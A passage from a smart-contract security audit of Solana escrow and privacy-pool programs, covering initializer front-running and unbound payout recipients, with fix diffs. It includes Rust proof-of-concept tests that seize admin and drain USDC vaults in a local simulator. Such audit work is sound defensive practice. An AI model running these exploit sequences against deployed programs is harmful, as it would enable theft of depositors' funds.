+            // instruction must ONLY reap a genuinely stale/ill-formed legacy
+            // buffer - never a live pool that still holds depositor notes.
+            // (1) Discriminator/length check: a current-schema account has
+            //     data.len() == ShieldedPoolAccount::LEN. The legacy buffer the
+            //     doc-comment describes is SMALLER (it pre-dates the modern
+            //     layout), so a >= LEN buffer is definitively NOT legacy.
+            require!(
+                data.len() < ShieldedPoolAccount::LEN,
+                ShieldedPoolError::PoolNotLegacy,
+            );
+            // (2) Pause gate: even an ostensibly-legacy buffer may only be
+            //     wiped after an explicit, separate pause step. `paused` lives
+            //     at the same raw offset in the legacy layout as in the current
+            //     one (disc(8)+authority(32)+relayer(32)+verifier(32)+
+            //     usdc_mint(32)+pool_bump(1)+tree_depth(1)+current_root_index(1)
+            //     +root_history_count(1)+latest_root(32)+commitment_count(8)+
+            //     next_leaf_index(8) => paused byte at offset 188). Require the
+            //     buffer to carry it and require the flag to be set.
+            const PAUSED_OFFSET: usize = 8 + 32 + 32 + 32 + 32 + 1 + 1 + 1 + 1 + 32 + 8 + 8;
+            require!(data.len() > PAUSED_OFFSET, ShieldedPoolError::PoolNotLegacy);
+            require!(data[PAUSED_OFFSET] == 1, ShieldedPoolError::PoolNotPaused);
```

```
+        }
+
... (diff truncated -- full patch in fix-program/programs/solana-shielded-pool/src/lib.rs)
```

FINDING 09 / 15

MEDIUM F09 init-front-running

Permissionless initializer lets the first caller seize admin on three singleton-PDA programs

INVARIANT Permissionless initializers (private-pool-v2, spr-escrow, payment-match-registry) let the first caller seize admin of a singleton PDA; on spr-escrow this chains to a full fund drain.

AFFECTED CODE

- `programs/solana-private-pool-v2/src/lib.rs:243,246` — `pool.authority = ctx.accounts.authority.key()` : any signer becomes pool authority.
- `programs/solana-private-pool-v2/src/lib.rs:250-253` — pins `deposit/withdraw/joinsplit_verifier` and `asp_authority` to caller-chosen pubkeys at init, no allowlist.
- `programs/solana-private-pool-v2/src/lib.rs:2647` — `authority: Signer` is the only gate on `InitializePool` .
- `programs/solana-private-pool-v2/src/lib.rs:2658` — pool PDA `seeds = [b"private-pool-v2", usdc_mint]` : one fixed pool address per mint (no authority in seed).
- `programs/solana-private-pool-v2/src/lib.rs:266-274` — `configure_pool` permanently errors, so init-time choices cannot be re-pointed except via the (attacker-owned) timelock.
- `programs/solana-spr-escrow/src/lib.rs:71` — `escrow.admin = ctx.accounts.admin.key()` : first caller becomes admin.
- `programs/solana-spr-escrow/src/lib.rs:345` — escrow PDA `seeds = [ESCROW_SEED]` : a global singleton.
- `programs/solana-spr-escrow/src/lib.rs:351` — `admin: Signer` is the only init constraint.
- `programs/solana-spr-escrow/src/lib.rs:96-103` — `set_payout_router` gated only by `admin == escrow.admin` ; the seized admin repoints the payout router.
- `programs/solana-payment-match-registry/src/lib.rs:41` — `registry.admin = ctx.accounts.admin.key()` : first caller becomes admin.
- `programs/solana-payment-match-registry/src/lib.rs:140` — registry PDA `seeds = [REGISTRY_SEED]` : a global singleton.
- `programs/solana-payment-match-registry/src/lib.rs:145-146` — `admin: mut Signer` is the only init constraint.
- `programs/solana-payment-match-registry/src/lib.rs:63-72,173` — `set_submitter` gated only by `has_one = admin` ; the seized admin sets itself as submitter.
- `programs/solana-payment-match-registry/src/lib.rs:74-77,188` — `record_match` does not re-verify any proof and authorizes solely on `submitter == submitter.key()` .

DESCRIPTION

The invariant: program bootstrap (admin/authority assignment) must be controlled by the intended deployer, not race-winnable by an arbitrary signer. All three programs violate it identically — the init handler trusts `*.key()` of an unconstrained `Signer` with no allowlist, no hardcoded operator constant, and no binding to the program's upgrade authority.

- `solana-private-pool-v2` — `initialize_pool` (`programs/solana-private-pool-v2/src/lib.rs:235-256`) unconditionally sets `pool.authority = ctx.accounts.authority.key()` (`:243,:246`) and pins all three verifier slots plus the ASP authority directly from caller-supplied args: `pool.deposit_verifier` / `withdraw_verifier` / `joinsplit_verifier` (`:250-252`) and `pool.asp_authority` (`:253`). The accounts struct `InitializePool` (`:2644-2665`) requires only `authority: Signer` (`:2647`) and derives the pool PDA from `seeds = [b"private-pool-v2", usdc_mint.key().as_ref()]` (`:2658`) — no authority in the seed, so there is exactly one pool per mint at a fixed address. There is no init-time timelock: the direct-config path `configure_pool` is hard-disabled and always errors (`:258-274`), and the C-3 timelock only guards *later* changes — so the values chosen at init are locked in for whoever wins.
- `solana-spr-escrow` — `initialize` (`programs/solana-spr-escrow/src/lib.rs:69-79`) sets `escrow.admin = ctx.accounts.admin.key()` (`:71`) on the singleton PDA `seeds = [ESCROW_SEED]` (`:345`). The only constraint on `admin` is `Signer` (`:351`). The seized admin can then call `set_payout_router` (`:96-103`), which is gated solely by `require_keys_eq!(ctx.accounts.admin.key(), escrow.admin, ...)` (`:98`) — so the attacker repoints the payout router to a key they control, and the Solana payout path has no ZK proof gate (only `signer == escrow.payout_router`).
- `solana-payment-match-registry` — `initialize_registry` (`programs/solana-payment-match-registry/src/lib.rs:39-47`) sets `registry.admin = ctx.accounts.admin.key()` (`:41`) on the singleton PDA `seeds = [REGISTRY_SEED]` (`:140`), with `admin` constrained only as a `mut Signer` (`:145-146`). The seized admin calls `set_submitter` (`:63-72`), which is gated only by `has_one = admin` on the registry (`:173`), to point `registry.submitter` at their own wallet. `record_match` (`:78-129`) then authorizes purely on `registry.submitter == submitter.key()` (constraint at `:188`) and explicitly does not re-verify any proof — the handler comment states it "stores the facts and does not re-verify them" (`:74-77`). So the attacker forges arbitrary on-chain match receipts signed by their own wallet.

IMPACT

Any unprivileged wallet that lands the first init transaction (front-running the deployer's bootstrap, or being first to init a newly listed mint) permanently owns the program's trust root; if the legitimate deployer wins the race the bug is inert, so the precondition is winning the one-shot init race after program deploy. Concretely:

- **private-pool-v2:** the attacker owns the canonical per-mint pool — authority, all three Groth16 verifier slots (pinned to attacker-controlled no-op programs), and the ASP/compliance authority.

Every later depositor into the canonical per-mint address funds a pool whose spend proofs are unverified; the operator can never own or rotate the pool (`configure_pool` is disabled, the timelock is attacker-gated).

- **spr-escrow:** admin seizure chains directly to a full vault drain — the attacker repoints the payout router and the proof-less `payout_to_seller` path releases every PENDING/MATCHED deposit to an attacker ATA (proven: 1,000 USDC fully drained).
- **payment-match-registry:** the attacker becomes the sole submitter and forges arbitrary on-chain match receipts with no proof; the operator is permanently locked out.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

All three are runtime-proven against the real built `.so` in LiteSVM at HEAD `e259188`. None of these findings depend on the snark stub verifier — the registry path has no proof gate at all by design, and the pool/escrow proofs are not reached here; the bug is purely the permissionless bootstrap.

- **`solana-private-pool-v2`** (`l5/L2-23_init_frontrun_pool`): an attacker runs the real `initialize_pool` first for the operator's intended USDC mint, pinning attacker-chosen verifier ids and `asp_authority = attacker`. The harness reads the pool account back and asserts `pool.authority == attacker`, all three verifier slots == the attacker-pinned ids, and `pool.asp_authority == attacker`; the attacker then publishes an arbitrary ASP root via `add_asp_root` (accepted because they own the ASP authority), and the legitimate operator's later `initialize_pool` for the same mint reverts (PDA already in use). Green outcome: *"L2-23 EXPLOITED: permissionless initialize_pool let an unrelated attacker front-run the canonical per-mint pool ... capturing pool.authority, ALL THREE verifier program slots ... and pool.asp_authority. ... The legitimate operator's initialize_pool and add_asp_root both FAIL permanently: the per-mint pool is irrecoverably attacker-owned."* (The literal token-drain is not asserted in this crate only because the final `withdraw` transfer is gated by a host-side Poseidon hash of the attacker's own pubkey, outside the locked dep set — not a cryptographic barrier; the attacker controls the verifier and ASP/pool roots.)

- **`solana-spr-escrow`** (`l5/L2-27_initadmin`): the attacker runs the real `initialize` setting `admin = attacker`; the deployer's subsequent real `initialize` reverts (singleton already initialized). As admin, the attacker runs the real `set_payout_router(attacker_router)`; then against an installed victim PENDING deposit (1,000 USDC in the vault) the attacker's router runs the real proof-less `payout_to_seller` and drains the full deposit to an attacker ATA. Green outcome: *"L2-27 EXPLOITED: permissionless initialize let an arbitrary signer seize admin

(deployer locked out), pin a malicious payout_router, and drain the full 1000000000 USDC victim deposit via the proof-less payout_to_seller path."*

- **`solana-payment-match-registry`** (`l5/L2-32_initfrontrun`): end-to-end real instructions — attacker `initialize_registry` (admin = attacker), `set_submitter(attacker)`, then `record_match` with no proof and no router PDA, producing a forged `MatchRecord` (match_count == 1) with attacker-chosen quote/payment nullifiers and roots; the operator's later `initialize_registry` and `set_submitter` both revert. Green outcome: *"L2-32 EXPLOITED: front-running attacker seized admin of the singleton Registry PDA, set itself as submitter, and forged an on-chain MatchRecord (match_count=1) with NO Groth16 proof / router PDA; the legitimate operator can never initialize or control it."*

RECOMMENDED FIX

Each program needs its own deployer-binding fix at init; the class is fixed by removing "first caller becomes owner" semantics. Pick one of:

- **Pin the expected operator at compile time** — declare a `const EXPECTED_DEPLOYER: Pubkey` and require it in each init accounts struct, e.g. `#[account(mut, address = EXPECTED_DEPLOYER)] pub authority/admin: Signer<'info>`, so only the intended key can bootstrap.
- **Bind init to the program's upgrade authority** — pass the program's `ProgramData` account and require `program_data.upgrade_authority_address == Some(signer.key())` in the init handler, so only the deployer (upgrade authority) can initialize. This is the most robust for an upgradeable program.

Apply the chosen guard to `initialize_pool` (`solana-private-pool-v2`), `initialize` (`solana-spr-escrow`), and `initialize_registry` (`solana-payment-match-registry`). For `private-pool-v2` additionally, since init-time verifier/ASP-authority choices are locked by the disabled `configure_pool`, the verifier ids and `asp_authority` should be validated against a canonical allowlist (or the same upgrade-authority gate) at init rather than accepted verbatim. For `spr-escrow`, the admin gate alone is the only thing standing between an attacker and the vault, so closing the init race also closes the chained drain (see the separately-tracked recipient/amount-binding findings for the residual proof-less payout surface).

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```
//! L2-27 [Medium] - solana-spr-escrow `initialize` is permissionless on a single
//! global singleton PDA → first caller seizes admin → drains the whole vault.
//!
//! WHAT THIS PROVES (against the REAL built solana_spr_escrow.so, in LiteSVM):
//!   1. The attacker calls the REAL `initialize` against a fresh-deployed program
//!      with the `admin` slot set to THEIR OWN keypair. It returns Ok and writes
//!      escrow.admin = attacker - no allowlist, no expected-admin constant, no
//!      upgrade-authority check (lib.rs:69-79). The escrow PDA seed is the constant
//!      `[b"spr_escrow"]` (lib.rs:345), a true singleton.
//!   2. The legit deployer's *subsequent* `initialize` returns Err - `init` on an
//!      already-existing PDA fails - so exactly one caller can win the bootstrap
//!      race and the deployer is permanently locked out.
//!   3. As the seized admin, the attacker runs the REAL `set_payout_router` and
//!      pins `payout_router` to an attacker-controlled key (gated only by
//!      `admin == escrow.admin`, lib.rs:96-103).
//!   4. After a victim deposit lands (installed as on-chain pre-state - a real
//!      `deposit` would have moved the USDC into the vault and created a PENDING
//!      DepositRecord), the attacker's router runs the REAL `payout_to_seller` and
//!      drains the full deposit to an attacker recipient ATA. PENDING deposits are
//!      explicitly payout-eligible (lib.rs:229-232) and there is NO ZK proof on the
//!      Solana path - the only gate is `signer == escrow.payout_router`, which the
//!      attacker now controls.
//!
//! METHOD (DarkDrop-sanctioned): the ONLY thing we run for real are the four
//! genuinely-vulnerable instructions (initialize x2, set_payout_router,
//! payout_to_seller). Painful CPI-init state (the vault ATA created by `initialize`,

#[test]
fn permissionless_init_seizes_admin_and_drains_vault() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // -- Actors (all funded) ------------------------------------------------
    let deployer = Keypair::new(); // intended admin - loses the race
    let attacker = Keypair::new(); // arbitrary front-running signer
    let attacker_router = Keypair::new(); // attacker-controlled malicious payout router

    // ... account/SPL pre-state setup elided for brevity ...

            AccountMeta::new(deposit_pda, false),                  // deposit_record (mut)
            AccountMeta::new_readonly(attacker_router.pubkey(), true), // payout_router_signer (signer)
            AccountMeta::new(vault_ata, false),                    // vault (mut)
            AccountMeta::new(attacker_recipient_ata, false),       // recipient_ata (mut) = ATTACKER's
            AccountMeta::new_readonly(token_program(), false),     // token_program
        ],
        data: payout_data,
    };
    let bh = svm.latest_blockhash();
    let tx = Transaction::new_signed_with_payer(
        &[payout_ix], Some(&attacker_router.pubkey()), &[&attacker_router], bh);
    let payout_res = svm.send_transaction(tx);
    assert!(payout_res.is_ok(),
        "STEP4: attacker payout_to_seller must SUCCEED (THE DRAIN): {:?}", payout_res.err());

    // -- PROOF OF THEFT -----------------------------------------------------
    assert_eq!(tok_amount(&svm, &attacker_recipient_ata), a_big,
        "EXPLOIT: attacker drained the full {a_big} USDC victim deposit");
```

```
    assert_eq!(tok_amount(&svm, &vault_ata), 0, "EXPLOIT: escrow vault fully drained");
    assert_eq!(deposit_status(&svm, &deposit_pda), STATUS_REDEEMED,
        "EXPLOIT: deposit flipped to REDEEMED - victim can no longer refund");
    assert_eq!(escrow_admin(&svm, &escrow_pda), attacker.pubkey(),
        "EXPLOIT: bootstrap hijacked - admin is the attacker, not the deployer");
    assert_ne!(escrow_admin(&svm, &escrow_pda), deployer.pubkey(),
        "EXPLOIT: intended deployer never controlled the program");

    println!(
        "L2-27 EXPLOITED: permissionless initialize let an arbitrary signer seize \
         admin (deployer locked out), pin a malicious payout_router, and drain the \
         full {a_big} USDC victim deposit via the proof-less payout_to_seller path."
    );
}

// full runnable harness: l5/L2-27_initadmin/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-spr-escrow/src/lib.rs
+++ b/solana-spr-escrow/src/lib.rs
@@ -24,13 +24,13 @@
 // State machine per deposit PDA (`[b"deposit", quote_nullifier]`):
 //
-//      ---- deposit() ---- PENDING
-//                                 
-//                              - record_match (pairing-router CPI)
-//                                   MATCHED - payout_to_seller
-//                                                REDEEMED
-//                              - refund_to_buyer (after expiry)
-//                                    REFUNDED
-//
-//      - Once a status leaves PENDING, the only legal transitions
+//      +---- deposit() ----> PENDING
+//      |                       |
+//      |                       +- record_match (pairing-router CPI)
+//      |                       |     +-> MATCHED - payout_to_seller
+//      |                       |                     +-> REDEEMED
+//      |                       +- refund_to_buyer (after expiry)
+//      |                             +-> REFUNDED
+//      |
+//      +- Once a status leaves PENDING, the only legal transitions
 //         are the ones drawn above. Re-attempts revert.
 //
@@ -53,4 +53,17 @@
 const DEPOSIT_SEED: &[u8] = b"spr_deposit";

+// FIX F09: pin the intended deployer at compile time so the one-shot
+// `initialize` cannot be front-run by an arbitrary signer (first-caller
+// admin seizure → chained payout-router drain). Replace this placeholder
+// with the real operator pubkey before deploy (the key that holds the
+// program's upgrade authority). The `Initialize` accounts struct binds
+// `admin` to this address and `initialize` re-checks it in-body for a
+// clear error, removing the "first caller becomes admin" race.
+// NOTE: for an upgradeable program the most robust gate is to instead
+// require `program_data.upgrade_authority_address == Some(signer)` by
+// passing the ProgramData account; the compile-time pin below is the
+// minimal buildable equivalent.
+const EXPECTED_DEPLOYER: Pubkey = pubkey!("6tZf1Qwa7DKUDMpeaJ2ScixPD21J1iGrvcB5YiNR6kAZ");
+
 const STATUS_PENDING: u8 = 0;
 const STATUS_MATCHED: u8 = 1;
@@ -68,4 +81,14 @@
     /// revert. Mirrors the staged-rollout pattern V4.1 uses on EVM.
     pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
+        // FIX F09: defense-in-depth - the `Initialize` accounts struct already
```

```
+        // binds `admin` via `address = EXPECTED_DEPLOYER`, but re-check in-body
+        // so the failure surfaces a clear program error instead of relying
... (diff truncated -- full patch in fix-program/programs/solana-spr-escrow/src/lib.rs)
```

FINDING 10 / 15

MEDIUM F10 missing-recipient-binding

spr-escrow payout_to_seller releases the full deposit to any caller-chosen token account (no recipient binding)

INVARIANT spr-escrow payout_to_seller releases the full deposit to an unconstrained recipient (conditional on becoming escrow admin or holding the router key).

AFFECTED CODE

- `programs/solana-spr-escrow/src/lib.rs:210-267` — `payout_to_seller` handler; takes `(quote_nullifier, claimed_amount)` only, no `recipient` parameter.
- `programs/solana-spr-escrow/src/lib.rs:217-221` — sole authorization gate: `payout_router_signer.key() == escrow.payout_router`.
- `programs/solana-spr-escrow/src/lib.rs:234` — `require!(claimed_amount == deposit_record.amount)`; amount is bound, recipient is not.
- `programs/solana-spr-escrow/src/lib.rs:245-254` — escrow-PDA-signed `token::transfer(vault → recipient_ata, claimed_amount)`; never reads `recipient_ata.owner`.
- `programs/solana-spr-escrow/src/lib.rs:448-449` — `recipient_ata: #[account(mut, token::mint = escrow.usdc_mint)]`; the destination's only constraint is the mint — no `token::authority`, no `address`, no deposit/proof tie.
- `programs/solana-spr-escrow/src/lib.rs:96-103` — `set_payout_router`; admin-rotatable router key (the slot an attacker pins after seizing admin).
- `programs/solana-spr-escrow/src/lib.rs:300-304` — contrast: `refund_to_buyer` *does* bind `depositor_ata.owner == caller.key()`; payout has no analogue.

DESCRIPTION

The escrow vault must only release a deposit's USDC to the legitimate seller for the matched quote: the destination token account must be bound to the authorized recipient, not freely substitutable (invariant L2-28 / L2-36, "a writable destination token account must be bound to the authorized owner/state").

`payout_to_seller` violates this. The handler at `programs/solana-spr-escrow/src/lib.rs:210-267` takes only `(quote_nullifier, claimed_amount)` — there is **no `recipient` argument**. It authorizes on exactly two checks:

- `require_keys_eq!(ctx.accounts.payout_router_signer.key(), escrow.payout_router, ...)` (`lib.rs:217-221`) — the caller must sign as the configured payout-router key.
- `require!(claimed_amount == deposit_record.amount, ...)` (`lib.rs:234`) — the amount must equal the recorded deposit (so, unlike the shared-pool path in F01, the amount here *is*

bound to on-chain state).

It then signs an SPL transfer of `claimed_amount` from the vault to `ctx.accounts.recipient_ata` (`lib.rs:245-254`), with the escrow PDA as authority. The destination account is the problem: in the `PayoutToSeller` accounts struct, `recipient_ata` is declared `#[account(mut, token::mint = escrow.usdc_mint)]` (`lib.rs:448-449`). The **only** constraint is "is a USDC token account." There is no `token::authority = ...` , no `address = ...` , no `has_one` , and the handler body never reads `recipient_ata.owner` . Nothing ties the destination to the deposit, the depositor, the commitment, or any redeem-proof public signal.

The in-code comment (`lib.rs:200-209`) is explicit that the redeem proof — including the recipient binding — lives **in the router**, and that amount-in-proof binding is deferred to mainnet ("Faza 5b → Faza 6"). So on this escrow, the entire recipient-correctness guarantee is delegated to whoever holds the `escrow.payout_router` signer. The escrow binds the amount but binds nothing about *where* the money goes.

The contrast inside the same file confirms the omission is a real gap, not a deliberate design: the sibling `refund_to_buyer` path *does* bind its destination — `require_keys_eq!(ctx.accounts.depositor_ata.owner, ctx.accounts.caller.key(), ...)` (`lib.rs:300-304`), with the comment "Bind the two together so funds never leak to a third party." `payout_to_seller` has no equivalent.

IMPACT

Whoever satisfies the single router-signer gate drains the full `deposit_record.amount` of any PENDING or MATCHED deposit to an arbitrary attacker-owned USDC ATA, one deposit per call, repeatable across every live deposit until the vault is empty. The proof-bound / intended seller receives nothing.

This is honestly **conditional**, not unilaterally unprivileged: it requires either (a) becoming `escrow.admin` via the un-gated `initialize` front-run (F09) and then `set_payout_router(self)` , or (b) compromise / misconfiguration of the configured payout-router key. An external party who is neither admin nor the router key cannot trigger it (the control test proves the `NotPayoutRouter` rejection). The amount cap from `claimed_amount == deposit_record.amount` (`lib.rs:234`) holds, so this is per-deposit theft of the exact recorded amount, not unbounded over-release — that distinguishes it from F01. The severity is Medium because the on-chain recipient binding is entirely absent and a single key (admin-seizable on this testnet build) collapses the whole guarantee.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

This finding is conditional: reaching `payout_to_seller`'s drain requires the attacker to satisfy the lone gate at `lib.rs:217-221` — i.e. to control the key stored in `escrow.payout_router`. Two routes get there, and both are proven runtime-green against the real built `solana_spr_escrow.so` in LiteSVM:

Route A — seize the router via the un-gated initializer (`l5/L2-28_recipient_unbound`). `initialize` (`lib.rs:69`) has no authority gate, so the first caller becomes `escrow.admin` (this is the F09 init-race class). The PoC models the post-front-run state by installing an `EscrowConfig` whose `admin == attacker` and `payout_router == Pubkey::default()` (the real post-init value), then runs two **real** instructions: `set_payout_router(attacker)` to pin the attacker's own key, then `payout_to_seller(quote_nullifier, deposit.amount)` with `recipient_ata` = the attacker's own ATA (constrained to nothing but the mint). The test `unbound_recipient_lets_router_drain_full_vault_to_any_ata` is green: > `L2-28 EXPLOITED: payout_to_seller has NO recipient binding — attacker (front-ran initialize() ⇒ admin ⇒ set_payout_router(self)) drained the full 1000000000000 USDC deposit to an ATA tied to nothing but the mint; NO proof, NO recipient public input.`

A companion control test (`non_router_signer_cannot_payout_router_key_is_the_sole_gate`) confirms a non-router signer is rejected with `NotPayoutRouter` and the vault stays whole — isolating the defect to "the router-key check binds the *signer*, never the *recipient*."

Route B — a leaked/rotated router key (`l5/L2-36_recipient_sub`). Here the attacker simply holds the configured `payout_router` signer (no admin needed). The PoC installs an `EscrowConfig` with `payout_router == attacker`, a funded vault owned by the escrow PDA, and a PENDING victim `DepositRecord`, then runs the **real** `payout_to_seller` with `recipient_ata` = the attacker's own ATA. The test `recipient_substitution_drains_victim_deposit` is green, the intended seller ATA receives 0, and the deposit's status byte flips to REDEEMED (2): > `L2-36 EXPLOITED: payout_router signer substituted recipient_ata=attacker_ata and drained 1000000000 USDC from the victim deposit; recipient_ata has no token::authority / address / deposit binding.`

No proof stub is involved on this path. Unlike the snark-gated findings, `solana_spr_escrow` never CPIs into any `*_verifier` program — there is no `invoke` / `CpiContext` to a verifier anywhere in the program. The "redeem proof" exists only in the off-chain payout router; the escrow itself binds nothing. So installing the funded vault and running the two real instructions is the complete end-to-end proof — there is no public-inputs omission to model here (that GROTH16_PUBLIC_INPUTS framing belongs to F01's verifier path, not this one).

RECOMMENDED FIX

Bind the payout destination on-chain so it cannot be substituted, instead of trusting the router signer to have chosen it correctly. Concretely, in the `PayoutToSeller` accounts struct (`lib.rs:448-449`), add a recipient parameter and constrain `recipient_ata` to it — mirroring exactly what `refund_to_buyer` already does for `depositor_ata`:

- Add a `recipient: Pubkey` instruction argument to `payout_to_seller` (or store the intended seller on the `DepositRecord` at match time and read it from there).

- Constrain the destination so it provably belongs to that recipient, e.g.:

`#[account(mut, token::mint = escrow.usdc_mint, token::authority = recipient)]` or, if the seller wallet is recorded on state, `#[account(mut, address = get_associated_token_address(&deposit_record.seller, &escrow.usdc_mint))]`.

- Equivalently, keep the body-level check style of `refund_to_buyer` and add `require_keys_eq!(ctx.accounts.recipient_ata.owner, recipient, EscrowError::...)` before the transfer.

The robust end-state (matching the deferred "Faza 6" plan) is to make the recipient a public input of the redeem proof and have the escrow enforce that the `recipient_ata` owner equals the proof-bound recipient — so a compromised or misconfigured router signer cannot redirect funds. Until then, the on-chain destination binding above closes the substitution gap with no proof dependency. This fix is independent of, and should land alongside, the F09 initializer hardening (which removes Route A's admin-seizure precondition).

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-28 [Medium] - solana-spr-escrow `payout_to_seller` has NO on-chain
//! recipient binding: whoever signs as the stored `payout_router` drains the
//! full vault deposit to ANY USDC ATA they choose.
//!
//! WHAT THIS PROVES (against the REAL built solana_spr_escrow.so, in LiteSVM):
//!   `payout_to_seller` (programs/solana-spr-escrow/src/lib.rs:210-267) signs an
//!   SPL transfer of the FULL `deposit_record.amount` out of the escrow vault to a
//!   `recipient_ata` that is constrained ONLY by `token::mint = escrow.usdc_mint`
//!   (PayoutToSeller, L448-449). There is NO recipient public input, NO ZK proof,
//!   and no tie of `recipient_ata` to any seller / deposit / commitment / match.
//!   The escrow's sole gates are:
//!       require_keys_eq!(payout_router_signer.key(), escrow.payout_router)  (L217-221)
//!       require!(claimed_amount == deposit_record.amount)                   (L234)
//!   So whoever controls the key stored in `escrow.payout_router` picks ANY USDC
//!   ATA and the escrow PDA ([b"spr_escrow"]) signs the drain - vault integrity is
//!   100% delegated to an off-chain/legacy router signer with zero on-chain
//!   recipient binding.
//!
//! HOW THE ATTACKER CONTROLS escrow.payout_router (Scenario A - fully on-chain):
//!   `initialize()` (L69) has NO authority gate - the FIRST caller becomes
//!   `escrow.admin`. An attacker front-runs it, then calls the REAL
//!   `set_payout_router(attacker)` (L96, admin-only) to pin their own key as the
//!   payout router. We model the post-front-run state by installing an EscrowConfig
//!   whose `admin == attacker`, then run the REAL `set_payout_router` AND the REAL
//!   `payout_to_seller` instructions. (Scenario B - a leaked/rotated legacy router
//!   key - reaches the identical drain without even needing admin.)

#[test]
fn unbound_recipient_lets_router_drain_full_vault_to_any_ata() {
    // Attacker front-ran initialize() ⇒ is admin AND owns the payout-router key.
    let attacker = Keypair::new();
    let mut s = stage(&attacker.pubkey());
    s.svm.airdrop(&attacker.pubkey(), 10_000_000_000).unwrap();

    // The attacker's OWN USDC ATA - the unconstrained recipient_ata. It satisfies
    // the LONE PayoutToSeller constraint `token::mint = escrow.usdc_mint` and is
    // tied to NOTHING about the seller / deposit / commitment.

    // ... account/SPL pre-state setup elided for brevity ...

    assert!(s.svm.send_transaction(tx).is_ok(), "honest set_payout_router must succeed");

    // Outsider (NOT the router) attempts payout_to_seller to their own ATA.
    let payout_ix = payout_to_seller_ix(
        &s.escrow_pda,
        &s.deposit_pda,
        &outsider.pubkey(), // signer ≠ escrow.payout_router
        &s.vault,
        &outsider_ata,
        &s.quote_nullifier,
        s.amount,
    );
    let bh = s.svm.latest_blockhash();
    let tx =
        Transaction::new_signed_with_payer(&[payout_ix], Some(&outsider.pubkey()), &[&outsider], bh);
    assert!(
        s.svm.send_transaction(tx).is_err(),
        "non-router signer must be rejected (NotPayoutRouter) - router key is the sole gate"
```

```
    );

    // Vault untouched: the ONLY thing standing between the vault and any ATA is the
    // router-key check (which binds the SIGNER, never the RECIPIENT).
    assert_eq!(tok_amount(&s.svm, &s.vault), s.amount, "vault intact when signer isn't the router");
    assert_eq!(tok_amount(&s.svm, &outsider_ata), 0, "outsider got nothing");

    println!(
        "L2-28 CONTROL: a non-router signer is rejected (NotPayoutRouter) and the vault stays at \
         {} USDC - confirming the router-key check is the sole gate, with ZERO recipient binding \
         once that single key is satisfied.",
        s.amount
    );
}

// full runnable harness: l5/L2-28_recipient_unbound/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-spr-escrow/src/lib.rs
+++ b/solana-spr-escrow/src/lib.rs
@@ -24,13 +24,13 @@
 // State machine per deposit PDA (`[b"deposit", quote_nullifier]`):
 //
-//      ---- deposit() ---- PENDING
-//                                 
-//                              - record_match (pairing-router CPI)
-//                                   MATCHED - payout_to_seller
-//                                                REDEEMED
-//                              - refund_to_buyer (after expiry)
-//                                    REFUNDED
-//
-//      - Once a status leaves PENDING, the only legal transitions
+//      +---- deposit() ----> PENDING
+//      |                        |
+//      |                        +- record_match (pairing-router CPI)
+//      |                        |     +-> MATCHED - payout_to_seller
+//      |                        |                     +-> REDEEMED
+//      |                        +- refund_to_buyer (after expiry)
+//      |                              +-> REFUNDED
+//      |
+//      +- Once a status leaves PENDING, the only legal transitions
 //         are the ones drawn above. Re-attempts revert.
 //
@@ -53,4 +53,17 @@
 const DEPOSIT_SEED: &[u8] = b"spr_deposit";

+// FIX F09: pin the intended deployer at compile time so the one-shot
+// `initialize` cannot be front-run by an arbitrary signer (first-caller
+// admin seizure → chained payout-router drain). Replace this placeholder
+// with the real operator pubkey before deploy (the key that holds the
+// program's upgrade authority). The `Initialize` accounts struct binds
+// `admin` to this address and `initialize` re-checks it in-body for a
+// clear error, removing the "first caller becomes admin" race.
+// NOTE: for an upgradeable program the most robust gate is to instead
+// require `program_data.upgrade_authority_address == Some(signer)` by
+// passing the ProgramData account; the compile-time pin below is the
+// minimal buildable equivalent.
+const EXPECTED_DEPLOYER: Pubkey = pubkey!("6tZf1Qwa7DKUDMpeaJ2ScixPD21J1iGrvcB5YiNR6kAZ");
+
 const STATUS_PENDING: u8 = 0;
 const STATUS_MATCHED: u8 = 1;
@@ -68,4 +81,14 @@
     /// revert. Mirrors the staged-rollout pattern V4.1 uses on EVM.
     pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
+        // FIX F09: defense-in-depth - the `Initialize` accounts struct already
```

```
+        // binds `admin` via `address = EXPECTED_DEPLOYER`, but re-check in-body
+        // so the failure surfaces a clear program error instead of relying
... (diff truncated -- full patch in fix-program/programs/solana-spr-escrow/src/lib.rs)
```

FINDING 11 / 15

MEDIUM F11 accounting-drift

Scheduled payout period never re-checks its bound credit note at cash-out (commitment write-only)

INVARIANT A scheduled payout period stores a commitment at registration that is never re-checked at claim, allowing an out-of-amount claim against the period.

AFFECTED CODE

- `programs/solana-private-pool-v2/src/lib.rs:1889` — `register_payout_period_relayed` writes `period.commitment = commitment;`. This is the only write, and (per grep) the only `period.commitment` access in the program.
- `programs/solana-private-pool-v2/src/lib.rs:2022-2044` — `cash_out_v3_from_schedule` pre-checks read `period.schedule`, `period.status`, and `period.release_slot` only; `period.commitment` is absent from the read set.
- `programs/solana-private-pool-v2/src/lib.rs:2128-2137` — the CashoutProof CPI binds `{credit_nullifier, credit_pool_root, fee, public_address, public_value}`; no signal references `period.commitment`.
- `programs/solana-private-pool-v2/src/lib.rs:2162-2177` — released amount is `public_value - fee`, sourced from the proof and transferred from the shared `pool_vault`.
- `programs/solana-private-pool-v2/src/lib.rs:2247-2269` — `claim_payout_period_to_private` makes the same period selection (schedule/status/release_slot) without reading `period.commitment`.
